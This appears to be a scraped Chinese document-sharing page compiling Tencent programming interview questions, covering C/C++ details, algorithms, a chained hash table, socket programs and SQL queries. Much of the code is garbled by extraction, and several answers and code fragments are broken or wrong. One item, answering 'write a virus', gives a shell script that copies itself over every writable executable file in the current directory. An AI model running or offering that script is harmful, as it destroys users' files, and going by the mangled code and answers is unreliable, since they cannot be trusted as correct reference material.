腾讯面试题Word文档格式.docx

上传人:b****6 文档编号:21087947 上传时间:2023-01-27 格式:DOCX 页数:17 大小:20.69KB
下载 相关 举报
腾讯面试题Word文档格式.docx_第1页
第1页 / 共17页
腾讯面试题Word文档格式.docx_第2页
第2页 / 共17页
腾讯面试题Word文档格式.docx_第3页
第3页 / 共17页
腾讯面试题Word文档格式.docx_第4页
第4页 / 共17页
腾讯面试题Word文档格式.docx_第5页
第5页 / 共17页
点击查看更多>>
下载资源
资源描述

腾讯面试题Word文档格式.docx

《腾讯面试题Word文档格式.docx》由会员分享,可在线阅读,更多相关《腾讯面试题Word文档格式.docx(17页珍藏版)》请在冰豆网上搜索。

腾讯面试题Word文档格式.docx

__STD_VERSION__ 

C99为199901L

intline=__LINE__;

char*file=__FILE__;

cout<

<

"

filenameis"

<

file<

lineis"

line<

endl;

 3.两个数相乘,小数点后位数没有限制,请写一个高精度算法

与大数相乘原理一样,只是调整小数点位置,即有效小数个数

算法提示:

输入stringa,stringb;

计算stringc=a*b;

返回c;

1.纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;

2,去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数)

3,计算c=a*b;

(要么用java的BigInterger搞,要么自己用C++写高精度数乘法,超过百万位,用FFT,我就不细说,这都预先写过就别做了)

4,输出c,(注意在输出倒数第l个数时,输出一个小数点。

若是输出的数少于l个,就补0)

 4.写一个病毒

#shellvirusII

forfilein*

do

iftest-f$file;

then

iftest-x$file;

iftest-w$file;

ifgrep-secho$file>

.mmm;

then

cp$0$file

fi;

done

rm.mmm-f

上面这个不对,没有传染性,寄生性……

5.不使用额外空间,将A,B两链表的元素交叉归并

6.structst{

  inti;

  shorts;

  charc;

  };

sizeof(structst);

//8

char*p1;

void*p2;

intp3;

charp4[10];

sizeof(p1...p4)=?

//4,4,4,10

5.让你在100000000个浮点数中找出最大的10000个,要求时间复杂度优。

最小堆

二分查找

快速排序

双向链表的删除结点

有A、B、C、D四个人,要在夜里过一座桥。

他们通过这座桥分别需要耗时1、2、5、10分钟

,只有一支手电,并且同时最多只能两个人一起过桥。

请问,如何安排,能够在17分钟内

这四个人都过桥?

CD->

AB2

ACD<

-B 

1

A->

BCD 

10

AB<

-CD 

2

->

ABCD 

基础题有15道选择和2道读程序填空。

选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;

读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案

附加题有几道没有看清楚。

有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。

15个选择题,60分

一个程序填空,40分

三道附加题60分

附加题考的是

不用第三个变量实现两个整形变量的交换

linux的子进程

操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否

书写strcpy()

时间两个小时,选择题15*4

然后是程序填空题10(2*5),30(10*3)

附加题用c++实现一个链地址hash。

程序填空题我就不说了,比较easy的说,值得一提的是选择题。

绝大部分考的是C++,我大致说下主要部分吧:

涉及程序执行压栈的:

1道

涉及容器和迭代器的:

4道

涉及虚拟函数以及dynamic_cast的3道

涉及参数传递的1道

简单的程序段落判断2道

涉及类的静态成员赋值的1道

剩下的是杂七杂八的。

不管怎么说,假如你把c++primer仔细阅读了一遍,基本上没问题。

考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁

闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这

种类型的题目。

程序填空的考了文件操作,以及数组移动等。

附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class

/*****************************Hash_table.h**********************************/

#ifndefHASH_TABLE_H

#defineHASH_TABLE_H

#include<

string>

usingnamespacestd;

structnode/*定义节点*/

{

node():

_next(NULL){}

string_value;

node*_next;

};

typedefnode*hash_node;

/*类型定义*/

constintMULT=31;

/*散列函数的参数*/

constintTABLE=10000;

/*数组的大小*/

classhash_table

public:

/*构造函数*/

hash_table(hash_node*table);

/*析构函数*/

~hash_table();

/*向hash_table插入元素*/

voidInsert(conststring&

word);

/*从hash_table中查找元素*/

intSearch(conststring&

private:

/*散列函数*/

unsignedinthash(conststring&

hash_node*_table;

#endif

/************************************end*************************************/

/*****************************hash_table.cpp***********************************/

#include"

hash_table.h"

iostream>

hash_table:

:

hash_table(hash_node*table)

_table=table;

}

~hash_table()

delete[]_table;

unsignedinthash_table:

hash(conststring&

word)

constchar*p=word.c_str();

unsignedinth=0;

for(;

p;

p++)/*hash_table的心脏*/

h=(h*MULT)%TABLE+(*p)%TABLE;

returnh;

/*插入函数*/

voidhash_table:

Insert(conststring&

/*得到对应的散列值*/

inth=hash(word);

/*对应节点为空,插入本节点*/

if(_table[h]==NULL)

hash_noden=newnode();

n->

_value=word;

_next=NULL;

_table[h]=n;

return;

/*如果节点不为空,连结在本节点为头节点的链表*/

for(hash_nodep=_table[h];

p!

=NULL;

p=p->

_next)

/*包含相同的值,直接返回*/

if(p->

_value==word)return;

/*发生冲突,处理冲突*/

_next=_table[h];

/*查询函数*/

inthash_table:

Search(conststring&

/*如果对应的节点为空,直接返回*/

return-1;

/*循环本节点,匹配对应的值,返回结果*/

_value==word)

return1;

/************************************end***********************************/

组装一下就ok了。

-----------------------------------------------------------------------------------------------------------------------------------

选择题(60)

c/c++oslinux方面的基础知识c的Sizeof函数有好几个!

程序填空(40)

1.(20)4空x5

不使用额外空间,将A,B两链表的元素交叉归并

2.(20)4空x5

MFC将树序列化转存在数组或链表中!

1,计算a^b<

2(运算符优先级问题)

(a)^(b<

2)

2根据先序中序求后序

3a[3][4]哪个不能表示a[1][1]:

*(&

a[0][0])*(*(a+1)+1)*(&

a[1]+1)*(&

a[0][0]+4)

4for(inti...)

for(intj...)

printf(i,j);

printf(j)

会出现什么问题

变量的作用域

5for(i=0;

i<

10;

++i,sum+=i);

的运行结果

sum1+2+...+10

610个数顺序插入查找二叉树,元素62的比较次数

710个数放入模10hash链表,最大长度是多少

8fun((exp1,exp2),(exp3,exp4,exp5))有几个实参

9希尔冒泡快速插入哪个平均速度最快

10二分查找是顺序存储链存储按value有序中的哪些

11顺序查找的平均时间 

O(n)

12*p=NULL*p=newchar[100]sizeof(p)各为多少

44

13频繁的插入删除操作使用什么结构比较合适,链表还是数组

link

14enum的声明方式

enum{//..};

151-20的两个数把和告诉A,积告诉B,A说不知道是多少,B也说不知道,这时A说我知道了,B接着说我也知道了,问这两个数是多少

大题:

补空

1把字符串转换为小写,不成功返回NULL,成功返回新串

char*toLower(char*srcStr)

assert(srcStr!

=NULL);

intlen=strlen(srcStr);

chardstStr=newchar[len+1];

if(NULL==dstStr)

returnNULL;

char*sptr=srcStr;

char*dptr=dstStr;

while(*ptr!

='

\0'

if(*ptr>

A'

&

&

*ptr<

Z'

*dptr=*sptr-'

+'

a'

;

else

*dptr=*sptr;

sptr++;

dptr++;

*dptr='

returndstStr;

char*toLower(char*sSrcStr)

{

char*sDest=NULL;

if(__1___)//NULL!

=sSrcStr

intj;

sLen=strlen(sSrcStr);

sDest=new[_______2_____];

//sLen+1

if(*sDest==NULL)

sDest[sLen]='

while(_____3____)//(--sLen>

=0)

sDest[sLen]=toLowerChar(sSrcStr[sLen]);

}

returnsDest;

2把字符串转换为整数例如:

"

-123"

->

-123

main()

.....

if(*string=='

-'

n=____1______;

else

n=num(string);

intnum(char*string)

for(;

!

(*string==0);

string++)

intk;

k=__2_____;

j=--sLen;

while(__3__)

k=k*10;

num=num+k;

returnnum;

附加题:

1linux下调试core的命令,察看堆栈状态命令

/usr/proc/bin/lsstackcore

2写出socks套接字服务端客户端通讯程序

//client.c

intmain()

intsockfd,n;

charrecvline(MAXLINE+1];

structsockaddr_inservaddr;

if(socket(AF_INET,SOCK_STREAM,0)<

0)

exit(-1);

bzero(&

servaddr,sizeof(servaddr));

servaddr.sin_family=AF_INET;

inet_pton(AF_INET,"

202.120.37.167"

&

servaddr.sin_addr);

servaddr.sin_port=htons(13);

if(connect(sockfd,&

servaddr,sizeof(servaddr))<

while((n=read(socket,recvline,MAXLINE))>

//..

exit(0);

//server.c

intmain(intargc,char*argv[])

intlistenfd,connfd;

charbuff[MAXLINE];

listenfd=Socket(AF_INET,SOCK_STREAM,0);

bzeros(&

servaddr.sin_addr.s_addr=htonl(INADDR_ANY);

Bind(listenfd,(SA*)&

Listen(listenfd,LISTENQ);

for(;

;

connfd=Accept(listenfd,(SA*)NULL,NULL);

Write(connfd,buff,strlen(buff));

Close(connfd);

3填空补全程序,按照我的理解是添入:

win32调入dll的函数名

查找函数入口的函数名找到函数的调用形式

把formView加到singledoc的声明将singledoc加到app的声明

关于DLL请看>

>

4有关系s(sno,sname)c(cno,cname)sc(sno,cno,grade)

1问上课程"

db"

的学生no

selectsnofromscjoincon(o=o)wherecname='

db'

2成绩最高的学生号

selectsnofromscwheregrade=(selectMAX(grade)fromsc)

3每科大于90分的人数

selectCOUNT(sno)from(selectsno,MIN(grade)fromscgroupbysno)astmp(sno,min_grade)wheremin_grade>

90

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 工程科技 > 兵器核科学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1